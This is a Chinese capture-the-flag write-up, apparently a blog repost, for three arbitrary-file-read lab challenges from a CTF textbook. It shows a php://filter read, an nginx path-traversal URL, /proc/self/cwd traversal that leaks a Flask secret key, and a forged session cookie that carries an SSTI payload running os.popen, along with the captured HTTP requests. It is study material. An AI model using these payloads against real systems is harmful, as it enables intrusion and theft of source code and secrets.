[第一章 web入门]任意文件读取漏洞
介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
任意文件读取漏洞-1
一、信息收集
二、实施操作
1.解题过程
- 答案
http://9c0f88fc-bc80-4c85-a9c9-bdcc15c87141.node3.buuoj.cn/?p=php://filter/convert.base64-encode/resource=flag
- 回显
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
- base64解密下就得到flag
n1book{afr_1_solved}
<?php
die('no no no');
//n1book{afr_1_solved}
2.解释
http://IP:PORT/?p=php://filter/convert.base64-encode/resource=flag
- 即以base64加密的方式读取resource的内容
-
为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
-
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流
任意文件读取漏洞-2
一、信息收集
nginx/1.14.0 (Ubuntu)
- 漏洞很可能就是nginx错误配置
二、实施操作
1.解题过程
访问 http://IP:PORT/img../
- 得到flag
n1book{afr_2_solved}
n1book{afr_2_solved}
任意文件读取漏洞-3
一、信息收集
- 首页
二、实施操作
微信公众号:Nu1L-Team
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
- 下面是官方的破解教程+自己的梳理和理解。
- 本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
从零学习flask模板注入(SSTI)
1.解题过程
python server.py
-
请求
http://IP:PORT/article?name=../../../../../proc/self/cwd/server.py
获取源码
-
审计源码
-
发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag
-
源码里存在flask SSTI,前提是可以伪造flask的cookie,这里需要用到appkey
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
'''
这里存在SSTI
'''
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)
Article Content:
#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'
- 这里用到了
flask_session_cookie_manager3.py
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
- 我们得到了
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YDW8EA.tAWq1MPpK7_nlxOKHsswPcr4BGo
伪造cookie为SSTI的payload获取flag.
- 一开始我理解错了。错误形式是这样的。
"""错误"""
../article?name={{%27%27.__class__.__mro__[2].__subclasses__()[40](%27flag.py%27).read()}}
-
这样发送的请求是get请求,没有cookie,我一直无法伪造cookie。
-
这时候需要回到首页,输入内容,发送post的请求,现在有cookie直接伪造。
-
这是BurpSuite抓的原包。
POST /n1page HTTP/1.1
Host: a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Length: 13
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJuMWNvZGUiOm51bGx9.YDXAEQ.T8nAFx24uE3Pg2GmdSEHhcFxb3E
Connection: close
n1code=ghjhgj
- 伪造后(修改session)
POST /n1page HTTP/1.1
Host: a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Length: 13
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a1d2c758-9d32-401b-8780-39b7eaaef6ae.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YDW8EA.tAWq1MPpK7_nlxOKHsswPcr4BGo
Connection: close
n1code=ghjhgj
n1book{afr_3_solved}
- 终于成功了,走了很多弯路。不过最后还是成功了。
有时候
遇到问题还是得停一停,过段时间可能就解决了。死磕的话,可能会一直在误区中。 - 我是看到这篇文章后解决的。
《从0到1:CTFer成长之路》配套题目第一章afr_3
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92732.html